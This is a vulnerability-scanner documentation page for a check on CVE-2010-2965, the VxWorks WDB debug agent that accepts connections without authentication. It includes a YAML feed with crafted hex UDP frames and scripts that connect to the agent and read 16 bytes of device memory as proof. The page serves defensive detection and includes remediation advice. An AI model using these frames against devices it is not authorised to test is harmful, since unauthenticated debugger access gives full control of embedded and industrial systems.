VxWorks — 1 vulnerability check
noctis ships 1 vulnerability check for VxWorks, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
VxWorks WDB debug agent unauthenticated memory access
| CVE | CVE-2010-2965 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | exposure — Exposure |
| Services | wdbrpc |
| Detection | set_var, udp_probe, script, match · highest QoD 97 |
| Feed | tests/vulnerabilities/vxworks/CVE-2010-2965.yaml |
Detects VxWorks devices that expose the WDB (Wind DeBug) target agent on UDP port 17185 without authentication. Anyone who reaches the port can connect to the agent and read or write any memory address, call functions and manage tasks, which gives full control of the device. Over UDP the test sends a WDB target connect request and requires a successful RPC and WDB reply, from which it reads the agent version, the VxWorks version, the board support package and the memory base. It then asks the agent for 16 bytes of memory at that base address and requires the agent to return them, which proves unauthenticated memory access, and disconnects. A successful memory read is reported with high confidence; an agent that accepts the connection but does not return memory is reported with lower confidence. Only a read is performed; note that connecting replaces any debugger session currently attached to the agent.
How noctis detects it
- UDP datagram probe
- Parses / computes the next value with a Rhai script
- UDP datagram probe
- Parses / computes the next value with a Rhai script
- UDP datagram probe
- UDP datagram probe
- UDP datagram probe
- Parses / computes the next value with a Rhai script
- Checks
v.readfor^yes$→ finding QoD 97: VxWorks WDB debug agent allows unauthenticated memory read - Checks
p.acceptedfor^yes$→ finding QoD 75: VxWorks WDB debug agent accepts unauthenticated connections
References:
- https://nvd.nist.gov/vuln/detail/CVE-2010-2965
- https://www.kb.cert.org/vuls/id/362332
- https://www.rapid7.com/blog/post/2010/08/02/new-vxworks-vulnerabilities/
- https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/remote/wdbrpc.rb
- https://nmap.org/nsedoc/scripts/wdb-version.html
Feed source — tests/vulnerabilities/vxworks/CVE-2010-2965.yaml
# VxWorks WDB target debug agent reachable without authentication — CVE-2010-2965.
#
# Credit: detection adapted from Greenbone's
# `2011/gb_vxworks_debugging_service_42158.nasl` (GPL-2.0-only). That check sends
# one WDB_TARGET_CONNECT datagram to UDP 17185 and reports when any ONC-RPC
# reply comes back (it only checks that byte 7, the RPC message type, is 1),
# then prints the agent version, run-time version and board name read at fixed
# offsets of the reply.
#
# Improvements over the source check:
# - real exploitation (QoD 97): after the connect, the feed sends
# WDB_MEM_READ (procedure 10) for 16 bytes at the target's memory base
# (rt_membase, taken from the connect reply) and requires a successful
# WDB_MEM_XFER answer carrying the bytes — the unauthenticated memory access
# the CVE is about, proven with a read only. It then sends
# WDB_TARGET_DISCONNECT (procedure 2) to release the agent. Nothing is
# written on the target.
# - the connect reply is parsed strictly: our XID echoed, RPC message type
# REPLY, MSG_ACCEPTED, accept status SUCCESS and a WDB error status of 0 (the
# high "events pending" bit masked). The source check fires on any RPC reply,
# so an ONC-RPC service answering PROG_UNAVAIL / SYSTEM_ERR (a WDB agent
# refusing us, or another RPC program on that port) was reported.
# - the reply's XDR fields are walked by their real lengths instead of fixed
# offsets (agent version strings longer than 3 characters shifted every
# later field in the source check).
# - the source check's connect frame carries a packet size 4 bytes short of
# its length and no checksum. When it gets no valid answer, the feed retries
# with a standard WDB_TARGET_CONNECT (correct size, checksum set, the
# Metasploit / Nmap wdb-version form) so strict agents are not missed.
# - a "pw=" field in the boot line (FTP boot password) is redacted from the
# evidence.
#
# WDB over ONC-RPC (big-endian XDR, byte offsets; hex offset = byte x 2):
# request: 0 XID | 4 CALL | 8 RPC v2 | 12 prog 0x55555555 | 16 vers 1 |
# 20 procedure | 24..39 null cred + verf | 40 checksum flag 0xffff +
# 16-bit sum (0 = none) | 44 packet size (length - 4) |
# 48 host ID (high 16 bits) + sequence (low 16 bits) | 52 params
# reply: 0 XID | 4 REPLY (1) | 8 MSG_ACCEPTED (0) | 12 verf flavor |
# 16 verf length (0) | 20 accept status (0 SUCCESS) | 24 checksum |
# 28 size | 32 WDB error status | 36 result (XDR)
# The agent keys the connection on the host ID, not on the UDP source port, so
# each udp_probe may use a new socket; every frame here uses host ID 0x8b12.
uid: 5b7ea9b4-8ce3-4d36-913c-4a6d3dad5067
name: "VxWorks WDB debug agent unauthenticated memory access"
description: |
Detects VxWorks devices that expose the WDB (Wind DeBug) target agent on UDP
port 17185 without authentication. Anyone who reaches the port can connect to
the agent and read or write any memory address, call functions and manage
tasks, which gives full control of the device. Over UDP the test sends a WDB
target connect request and requires a successful RPC and WDB reply, from which
it reads the agent version, the VxWorks version, the board support package
and the memory base. It then asks the agent for 16 bytes of memory at that
base address and requires the agent to return them, which proves
unauthenticated memory access, and disconnects. A successful memory read is
reported with high confidence; an agent that accepts the connection but does
not return memory is reported with lower confidence. Only a read is
performed; note that connecting replaces any debugger session currently
attached to the agent.
category: exposure
cves: [CVE-2010-2965]
cvss: 9.8
severity: critical
confidence_base: 0.30
tags: [vxworks, wdb, wdbrpc, debug-agent, ics, embedded, udp, unauthenticated]
services: [wdbrpc]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2010-2965"
- "https://www.kb.cert.org/vuls/id/362332"
- "https://www.rapid7.com/blog/post/2010/08/02/new-vxworks-vulnerabilities/"
- "https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/remote/wdbrpc.rb"
- "https://nmap.org/nsedoc/scripts/wdb-version.html"
steps:
- id: init-connect
action: set_var
var_name: c1
var_value: {responded: false}
- id: init-connect-retry
action: set_var
var_name: c2
var_value: {responded: false}
- id: init-memread
action: set_var
var_name: mr
var_value: {responded: false}
# ── 1. WDB_TARGET_CONNECT (procedure 1), XID 0x50263091, host ID 0x8b12.
- id: connect
action: udp_probe
port: "{{port}}"
timeout_secs: 5
send_hex: "50263091000000000000000255555555000000010000000100000000000000000000000000000000000000000000002c8b120001"
store_as: c1
- id: check-connect
action: script
store_as: k1
code: |
let h = if c1.responded == true && type_of(c1.response_hex) == "string" { tolower(c1.response_hex) } else { "" };
let ok = strlen(h) >= 80
&& substr(h, 0, 7) == "50263091"
&& substr(h, 8, 15) == "00000001"
&& substr(h, 16, 23) == "00000000"
&& substr(h, 32, 39) == "00000000"
&& substr(h, 40, 47) == "00000000"
&& (u32be(substr(h, 64, 71)) & 0x7fffffff) == 0;
#{ ok: ok }
# Standard connect (correct size, checksum, params 2/0/0), XID 0x50263092,
# its own sequence number so a cached reply to the first frame is not replayed.
- id: connect-retry
action: udp_probe
condition: "k1.ok == false"
port: "{{port}}"
timeout_secs: 5
send_hex: "50263092000000000000000255555555000000010000000100000000000000000000000000000000ffffc9fe0000003c8b120002000000020000000000000000"
store_as: c2
# ── 2. Parse the connect reply and build the memory read / disconnect frames.
- id: parse-connect
action: script
store_as: p
code: |
fn txt(h) {
let s = base64_decode(base64_encode_hex(h));
let t = ereg_replace("[^ -~]", "", s);
if strlen(t) > 160 { substr(t, 0, 159) } else { t }
}
fn cks(f) {
let sum = 0;
let i = 8;
while i + 3 < strlen(f) { sum += u16be(substr(f, i, i + 3)); i += 4; }
sum = (sum & 0xffff) + (sum >> 16);
sum = (sum & 0xffff) + (sum >> 16);
(sum ^ 0xffff) & 0xffff
}
fn frame(xid, procnum, seq, data) {
let body = xid + "00000000" + "00000002" + "55555555" + "00000001" + p32be(procnum)
+ "0000000000000000" + "0000000000000000";
let size = 48 + strlen(data) / 2;
let f0 = body + "00000000" + p32be(size) + seq + data;
body + "ffff" + p16be(cks(f0)) + p32be(size) + seq + data
}
let r1 = if c1.responded == true && type_of(c1.response_hex) == "string" { tolower(c1.response_hex) } else { "" };
let r2 = if c2.responded == true && type_of(c2.response_hex) == "string" { tolower(c2.response_hex) } else { "" };
let h = if k1.ok { r1 } else { r2 };
let xid = if k1.ok { "50263091" } else { "50263092" };
let n = strlen(h) / 2;
let ok = n >= 40
&& substr(h, 0, 7) == xid
&& substr(h, 8, 15) == "00000001"
&& substr(h, 16, 23) == "00000000"
&& substr(h, 32, 39) == "00000000"
&& substr(h, 40, 47) == "00000000"
&& (u32be(substr(h, 64, 71)) & 0x7fffffff) == 0;
// Walk WDB_TGT_INFO: agent version, MTU, mode, rt type, rt version, CPU,
// FPP, WP, page size, endian, BSP name, boot line, membase, memsize.
let pos = 36;
let good = ok;
let strs = [];
let ints = [];
let kinds = ["s", "i", "i", "i", "s", "i", "i", "i", "i", "i", "s", "s", "i", "i"];
for k in kinds {
if !good || pos + 4 > n { good = false; break; }
let v = u32be(substr(h, pos * 2, pos * 2 + 7));
pos += 4;
if k == "s" {
let padded = (v + 3) / 4 * 4;
if v > 4096 || pos + padded > n { good = false; break; }
strs.push(if v > 0 { txt(substr(h, pos * 2, (pos + v) * 2 - 1)) } else { "" });
pos += padded;
} else {
ints.push(v);
}
}
let sc = strs.len();
let agent = if sc > 0 { strs[0] } else { "" };
let rtv = if sc > 1 { strs[1] } else { "" };
let bsp = if sc > 2 { strs[2] } else { "" };
let boot = if sc > 3 { ereg_replace("pw=[^ ]*", "pw=<redacted>", strs[3]) } else { "" };
let has_base = ints.len() >= 9;
let base = if has_base { ints[8] } else { 0 };
let info = "agent version " + agent + ", run-time version " + rtv + ", board " + bsp
+ (if boot != "" { ", boot line " + boot } else { "" });
#{
ok: ok,
accepted: if ok && sc >= 2 && agent != "" { "yes" } else { "no" },
has_base: has_base,
base: hex(base),
info: info,
memread: frame("50263093", 10, "8b120003", p32be(base) + p32be(16) + "00000000"),
disconnect: frame("50263094", 2, "8b120004", "000000020000000000000000")
}
# ── 3. Exploit: WDB_MEM_READ of 16 bytes at the memory base (read only).
- id: memory-read
action: udp_probe
condition: "p.has_base == true"
port: "{{port}}"
timeout_secs: 5
send_hex: "{{p.memread}}"
store_as: mr
# One retry when the read got no answer (lost datagram); same frame and
# sequence number, so an agent that already served it replays the reply.
- id: memory-read-retry
action: udp_probe
condition: "p.has_base == true && mr.responded == false"
port: "{{port}}"
timeout_secs: 5
send_hex: "{{p.memread}}"
store_as: mr
- id: disconnect
action: udp_probe
condition: "p.ok == true"
port: "{{port}}"
timeout_secs: 3
send_hex: "{{p.disconnect}}"
# WDB_MEM_XFER reply: 36 numBytes | 40 destination | 44 opaque length | 48 data.
- id: check-memory-read
action: script
store_as: v
code: |
let h = if mr.responded == true && type_of(mr.response_hex) == "string" { tolower(mr.response_hex) } else { "" };
let n = strlen(h) / 2;
let hdr = p.has_base && n >= 52
&& substr(h, 0, 7) == "50263093"
&& substr(h, 8, 15) == "00000001"
&& substr(h, 16, 23) == "00000000"
&& substr(h, 32, 39) == "00000000"
&& substr(h, 40, 47) == "00000000"
&& (u32be(substr(h, 64, 71)) & 0x7fffffff) == 0;
let cnt = if hdr { u32be(substr(h, 72, 79)) } else { 0 };
let len = if hdr { u32be(substr(h, 88, 95)) } else { 0 };
let ok = hdr && cnt > 0 && cnt <= 16 && len == cnt && n >= 48 + len;
#{ read: if ok { "yes" } else { "no" }, bytes: if ok { substr(h, 96, 96 + len * 2 - 1) } else { "" }, count: cnt }
- id: report-memory-read
action: match
condition: "p.ok == true"
source: v.read
pattern: "^yes$"
on_match:
stop: true
finding:
title: "VxWorks WDB debug agent allows unauthenticated memory read"
description: "The VxWorks WDB target agent on this UDP port accepted a connection without any authentication and returned target memory for a WDB_MEM_READ request. The same agent lets anyone who reaches the port write memory, call functions and manage tasks, which gives full control of the device."
remediation: "Disable the WDB target agent in production images (remove INCLUDE_WDB / the WDB component from the VxWorks build, or apply the device vendor's firmware update), and block UDP port 17185 from untrusted networks."
confidence_delta: 0.65
qod: 97
evidence: "WDB_TARGET_CONNECT accepted without authentication (RPC SUCCESS, WDB status OK); WDB_MEM_READ at {{p.base}} returned {{v.count}} bytes: {{v.bytes}}; {{p.info}}"
- id: report-connect
action: match
condition: "p.ok == true"
source: p.accepted
pattern: "^yes$"
on_match:
finding:
title: "VxWorks WDB debug agent accepts unauthenticated connections"
description: "The VxWorks WDB target agent on this UDP port accepted a connection without any authentication. The agent gives debugger access to the device (memory read and write, function calls, task control); the memory read attempted by the scan did not complete on this target."
remediation: "Disable the WDB target agent in production images (remove INCLUDE_WDB / the WDB component from the VxWorks build, or apply the device vendor's firmware update), and block UDP port 17185 from untrusted networks."
confidence_delta: 0.50
qod: 75
evidence: "WDB_TARGET_CONNECT accepted without authentication (RPC SUCCESS, WDB status OK); {{p.info}}"